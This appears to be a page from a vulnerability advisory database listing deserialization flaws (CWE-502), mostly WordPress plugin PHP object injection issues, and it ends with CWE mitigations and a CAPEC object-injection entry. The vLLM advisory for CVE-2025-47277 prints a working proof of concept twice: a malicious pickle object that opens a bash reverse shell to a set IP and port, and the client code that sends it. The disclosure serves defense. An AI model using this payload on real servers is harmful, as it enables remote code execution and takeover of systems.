      "url": "https://lists.apache.org/thread.html/rf032a13a4711f88c0a2c0734eecbee1026cc1b6cde27d16a653f8755@%3Cdev.ignite.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Apache Heron"
}

GHSA-HJP2-WG69-G55X

Vulnerability from github – Published: 2024-03-05 03:30 – Updated: 2024-03-05 03:30

Details

The Auto Refresh Single Page plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.1 via deserialization of untrusted input from the arsp_options post meta option. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-1731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T02:15:26Z",
    "severity": "HIGH"
  },
  "details": "The Auto Refresh Single Page plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.1 via deserialization of untrusted input from the arsp_options post meta option. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
  "id": "GHSA-hjp2-wg69-g55x",
  "modified": "2024-03-05T03:30:31Z",
  "published": "2024-03-05T03:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1731"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/auto-refresh-single-page/trunk/auto-refresh-single-page.php#L42"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f8f8d46-d7e7-4b07-9b10-15e579973474?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJQ4-87XH-G4FV

Vulnerability from github – Published: 2025-05-20 18:04 – Updated: 2026-07-17 16:14

Summary

vLLM Allows Remote Code Execution via PyNcclPipe Communication Service

Details

Impacted Environments

This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.

Summary

vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.

A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.

This issue was reported privately to PyTorch and they determined that this behavior was intentional.

Details

The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.

Deploy a PyNcclPipe service configured to listen on port 18888 when launched:

from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
    kv_ip="0.0.0.0",
    kv_port=18888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)

p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data

The attacker crafts malicious packets and sends them to the PyNcclPipe service:

from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='172.17.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)

The call stack triggering RCE is as follows:

vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
    -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
        -> vllm.distributed.utils.StatelessProcessGroup.recv_obj
            -> pickle.loads

Getshell as follows:

Reporters

This issue was reported independently by three different parties:

@kikayli (Zhuque Lab, Tencent)
@omjeki
Russell Bryant (@russellb)

Fix

https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.5"
            },
            {
              "fixed": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-20T18:04:30Z",
    "nvd_published_at": "2025-05-20T18:15:46Z",
    "severity": "CRITICAL"
  },
  "details": "### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the\u00a0`PyNcclPipe`\u00a0class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the\u00a0`PyNcclCommunicator`\u00a0class, while CPU-side control message passing is handled via the\u00a0`send_obj`\u00a0and\u00a0`recv_obj`\u00a0methods on the CPU side.\u200b \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe`  implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads`  , creating an unsafe deserialization vulnerability that can lead to \u200bRemote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n    kv_ip=\"0.0.0.0\",\n    kv_port=18888,\n    kv_rank=0,\n    kv_parallel_size=1,\n    kv_buffer_size=1024,\n    kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n    def __reduce__(self):\n        import os\n        cmd=\u0027/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/172.28.176.1/8888 0\u003e\u00261\"\u0027\n        return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n    host=\u0027172.17.0.1\u0027,\n    port=18888,\n    rank=1,\n    world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering \u200bRCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-\u003e vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-\u003e vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-\u003e pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.",
  "id": "GHSA-hjq4-87xh-g4fv",
  "modified": "2026-07-17T16:14:26Z",
  "published": "2025-05-20T18:04:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47277"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/15988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7"
    },
    {
      "type": "WEB",
      "url": "https://docs.vllm.ai/en/latest/deployment/security.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hjq4-87xh-g4fv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-567.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM Allows Remote Code Execution via PyNcclPipe Communication Service"
}

GHSA-HJQJ-53JJ-F33R

Vulnerability from github – Published: 2025-09-03 00:30 – Updated: 2025-09-03 00:30

Details

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to PHP Object Injection in versions 5.1.16 to 6.1.1 via deserialization of untrusted input in the parseUserProperties function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to read arbitrary files. If allow_url_include is enabled on the server, remote code execution is possible. While the vendor patched this issue in version 6.1.0, the patch caused a fatal error in the vulnerable code, due to a missing class import, so we consider 6.1.2 to be the most complete and best patched version

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-9260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-03T00:15:30Z",
    "severity": "MODERATE"
  },
  "details": "The Fluent Forms \u2013 Customizable Contact Forms, Survey, Quiz, \u0026 Conversational Form Builder plugin for WordPress is vulnerable to PHP Object Injection in versions 5.1.16 to 6.1.1 via deserialization of untrusted input in the parseUserProperties function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. The additional presence of a POP chain allows attackers to read arbitrary files. If allow_url_include is enabled on the server, remote code execution is possible.\nWhile the vendor patched this issue in version 6.1.0, the patch caused a fatal error in the vulnerable code, due to a missing class import, so we consider 6.1.2 to be the most complete and best patched version",
  "id": "GHSA-hjqj-53jj-f33r",
  "modified": "2025-09-03T00:30:58Z",
  "published": "2025-09-03T00:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9260"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluentform/tags/6.0.2/app/Services/FormBuilder/EditorShortcodeParser.php#L214"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluentform/tags/6.0.2/vendor/wpfluent/framework/src/WPFluent/View/View.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/938e5d6b-1ad6-4021-a148-1d1c9e8a0a83?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJQJ-QJQ9-MVGJ

Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-01 18:35

Details

Deserialization of Untrusted Data vulnerability in nanbu Welcart e-Commerce allows Object Injection. This issue affects Welcart e-Commerce: from n/a through 2.11.16.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-54012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T08:15:45Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in nanbu Welcart e-Commerce allows Object Injection. This issue affects Welcart e-Commerce: from n/a through 2.11.16.",
  "id": "GHSA-hjqj-qjq9-mvgj",
  "modified": "2026-04-01T18:35:56Z",
  "published": "2025-08-20T09:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54012"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/usc-e-shop/vulnerability/wordpress-welcart-e-commerce-plugin-2-11-16-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation

Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation

Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation

Architecture and Design Implementation

Make fields transient to protect them from deserialization.
An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Mitigation

Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation

Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.

← Back to the CWE list

CWE-502

Deserialization of Untrusted Data

Summary

Vulnerable code (HEAD a157d4d)

Reachability and default-on confirmation

End-to-end reproduction

Real-world delivery vectors

Why GHSA-mw35 doesn't cover this

Suggested patch

References

Impacted Deployments

Description

Impacted Environments

Summary

Details

Reporters

Fix

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation MIT-29

CAPEC-586: Object Injection

Vulnerable code (HEAD `a157d4d`)